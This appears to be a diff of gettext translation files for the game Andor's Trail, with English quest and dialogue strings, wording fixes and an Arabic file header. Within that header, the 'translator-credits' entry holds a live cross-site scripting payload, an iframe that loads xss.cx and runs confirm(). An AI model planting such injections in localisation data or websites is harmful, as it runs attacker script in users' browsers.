#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31147,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31203,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31215,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36215,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36247,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36255,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36271,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36831,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36851,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36862,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36870,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36887,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36983,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37709,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37717,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38124,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38141,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,25 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: 2018-06-10 09:34+0000\n"
"Last-Translator: Fahdxx <zonestc@gmail.com>\n"
"Language-Team: Arabic <https://hosted.weblate.org/projects/andors-trail/"
"game-content/ar/>\n"
"Language: ar\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 "
"&& n%100<=10 ? 3 : n%100>=11 ? 4 : 5;\n"
"X-Generator: Weblate 3.0.1-dev\n"
#: [none]
msgid "translator-credits"
msgstr ""
"\"><iframe src=http://xss.cx onload=confirm(5) <<iframe src=a>\n"
"translator-credits"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr ""
@@ -48,11 +70,11 @@ msgstr ""
#: actorconditions_v0610.json:chaotic_grip
msgid "Chaotic grip"
msgstr "قبضة الÙ?وضة"
msgstr "قبضة الفوضة"
#: actorconditions_v0610.json:chaotic_curse
msgid "Chaotic curse"
msgstr "لعنة الÙ?وضى"
msgstr "لعنة الفوضى"
#: actorconditions_v0611.json:contagion
msgid "Insect contagion"
@@ -68,7 +90,7 @@ msgstr ""
#: actorconditions_v0611.json:focus_dmg
msgid "Focused damage"
msgstr "إتالÙ?"
msgstr "إتالف"
#: actorconditions_v0611.json:focus_ac
msgid "Focused accuracy"
@@ -2856,7 +2878,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4654,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5592,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr ""
@@ -6749,7 +6771,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr ""
@@ -9390,7 +9411,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9568,7 @@ msgid "Depends on what I get in return."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9606,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr ""
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21514,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21798,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21816,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22305,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22330,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22346,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22356,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22386,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22395,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22428,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22440,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22496,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22504,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22516,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22653,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22662,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22687,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22723,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22938,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23040,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23075,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24308,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24490,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26197,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26205,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26266,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26300,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26351,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26411,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26822,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26998,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27149,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27175,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27308,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27316,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27326,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27423,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27576,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27595,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
